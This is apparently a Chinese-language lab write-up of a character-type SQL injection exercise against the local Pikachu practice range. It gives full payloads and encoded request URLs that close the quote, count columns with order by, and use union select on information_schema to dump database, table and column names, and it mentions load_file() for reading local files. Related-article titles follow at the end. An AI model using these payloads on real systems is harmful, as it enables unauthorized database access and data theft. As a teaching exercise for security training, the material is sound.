SQL注入之字符型注入练习(pikachu)
- SQL注入之字符型
实现目标:获取到pikachu下的表、数据信息
靶场:pikachu =》sql-inject=》字符型注入
2.实验步骤
第一步目标:拿到数据库名
2.1确定请求方法类型
注:为什么需要确定请求方法??自己思考
尝试输入数据,判断请求方法类型
从上可以看出,请求的方法为get类型,注入点在url上边,我们输入的要查询的值是abc,实际被是通过url参数name带入的。而且参数是字符型。
2.2判断注入点
从2.1知道请求方法和注入类型,因为是字符型,所以要考虑数据的闭合,过滤掉特殊符号。
带入的参数很可能是通过 ‘ “ % ( ] 等等,一般是 ‘ 或者 “.
这里尝试过滤掉 ‘,传入 的值被接收很可能是这样包裹$name= ‘abc’,带入sql中,很可能是select name from 表名 where name=’abc’ limit 0,1.只是猜想。
尝试一下过滤掉 ’,一般的过滤方法就是注释掉’后边的语句,加--+注释。
这里可以输入 abc’看是否有注入点。这里要灵活,不一定是过滤’特殊符号,要看代码是真么实现的。
报错了,说明有注入点,而且需要过滤的是 ’ 字符。
2.3猜解字段
需要猜解列数、数据库名、数据库表名、数据库列名,最后才能得到数据
2.4猜解列
首先,使用order by 猜解字段
请求方法构造:字段:name=abc’ order by 3--+
--+的作用是注释掉后边的语句,为sql注释符,自己思考为什么需要加呢?
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20order%20by%203--+&submit=%E6%9F%A5%E8%AF%A2
从上看出只有到3的时候报错,说明只有2列
2.5猜数据库
查数据库版本为:version() =>select version();
Sql命令行运行下就知道了
查当前的用户为:user() =>select user();
a) Version();当前 mysql 的版本
union select 1,2,version()
b) Database();当前网站使用的数据库
union select 1,2,database()
c) User();当前 MySQL 的用户
union select 1,2,user()
d) system_user(); 系统用户名
e)session_user();连接数据库的用户名
f)current_user;当前用户名
g)load_file();读取本地文件
h)length(str) : 返回给定字符串的长度,如 length(“string”)=6
i)substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=“in”
substr()、stbstring()、mid() 三个函数的用法、功能均一致
j)concat(username):将查询到的username连在一起,默认用逗号分隔
concat(str1,’’,str2):将字符串str1和str2的数据查询到一起,中间用连接
group_concat(username) :将username数据查询在一起,用逗号连接
Columns 表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
尝试查询如下:
我这里是已知的mysql数据库。如果是其它数据库,还需要再判断数据库的类型。
这里已经是>5.0的mysql数据库。5.0以上的mysql默认有个库information_schema,里面有三张默认的表,非常关键,记录着mysql有所有的数据库、库对应的表、及列的详细信息。
Schemata: 表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库名的字段名为 schema_name
Tables: 表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name
Columns :表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
2.6猜解数据库
从上已经知道数据库版本,如果是低版本的数据库,就只有爆破了。
构造查询语句:name=abc’ union select version(),group_concat(schema_name) from information_schema.schemata --+
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20union%20select%20version(),group_concat(schema_name)%20from%20information_schema.schemata--+&submit=%E6%9F%A5%E8%AF%A2
从上知道mysql下的所有数据库名:
information_schema,challenges,mysql,performance_schema,pikachu,pkxss,security,test
2.7猜解pikachu下边的表名
构造语句:name=abc’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’ --+
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%E2%80%99%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27pikachu%27%20--+&submit=%E6%9F%A5%E8%AF%A2
从上已经得到pikachu库下所有表名信息
httpinfo,member,message,users,xssblind
2.8猜解pikachu下边的httpinfo列名
构造语句:name=abc’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’pikachu’ and table_name=’httpinfo’ --+
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=abc%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27pikachu%27%20and%20table_name=%27httpinfo%27--+&submit=%E6%9F%A5%E8%AF%A2
从上得到了数据库列名信息,然后拿数据还有问题么?
列名:id,userid,ipaddress,useragent,httpaccept,remoteport
3.实验小结
这里可以得到数有数据库的数据,思路都一样,要注意的是数据库类型及版本,不同数据库类型、版本,操作语句是不一样的。但是思想原理是一致的。
SQL注入之字符型注入练习(pikachu)相关推荐
- SQL注入原理-字符型注入
小伙伴们大家好!本期为大家带来的是SQL注入原理-字符型注入的讲解! 目录 SQL注入原理 字符型注入 一.单引号字符注入 1.测试是否存在注入点 2.判断字段个数 3.找出可以回显的字段 4.查看当 ...
- sql注入_字符型、数字型判断
如何判断sql注入是字符型还是数字型? 在进行sql注入时,字段类型分为字符型或者数字型,意味着我们需要构造不同的sql语句. 假设存在sql注入的url是:http://192.168.0.1/id ...
- 黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码
SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作. 由于SQL语句本 ...
- SQL注入:搜索型注入
like语法 "%"匹配任何字符, "like"的意思就是像, "$" 变量 SQL语句:select username,id from ...
- mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)
0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x ...
- 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(七)-SQL注入字符型
目录 前言: 一.简介 二.项目配置 三.代码编写 四.运行测试 前言: 前面完成了 SQL 注入漏洞的数字型输入,其实 SQL 注入漏洞还有很多其他类型的注入,例如:字符型注入.宽字节注入等,相应的 ...
- php字符型和数字型的注入,Sql注入的分类:数字型+字符型
Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...
- 【less-11】基于SQLI的POST字符型SQL注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 基于SQLI的POST字符型SQL注入 实验目的 实验环境 实验原理 实验步骤 第一步 判断是够存在POST型注入点 ...
- 【less-1】基于SQLI的SQL字符型报错注入
实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 文章目录 实验目的 实验环境 实验原理 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动 ...
最新文章
- java curl json_curl javaSSm框架中传入json数组的格式方法
- iOS 开发 OC编程 数组冒泡排序.图书管理
- 美国国家创新体系的演化历程、特点及启示
- Node初学(一)require方法
- MoeCTF 2021Re部分------Algorithm_revenge
- 纪录备忘:应用中的脚本应用
- acrgis api for javaScript需要对Dojo了解多少?
- Defination list(定义列表)
- MySQL 数据类型和 Java 数据类型对照表
- 快上车,带你了解HiLens Studio六大优势
- three相机在模型上_一步步带你实现web全景看房——three.js
- 为什么我会感到迷茫? 文/江湖一剑客
- onedrive指定文件夹备份
- Android中的Glide
- getline()函数的几点疑惑
- 2021年N1叉车司机考试题库及N1叉车司机模拟考试
- 微信公众号文章怎么搞成html,微信公众号文章中的引导样式如何设置成签名模板?...
- 基于Java+SpringBoot+Vue前后端分离餐厅点餐管理系统设计和实现
- 创建EKS Cluster的笔记
- Zotero6.0版本 Quicklook不能使用/中文乱码不显示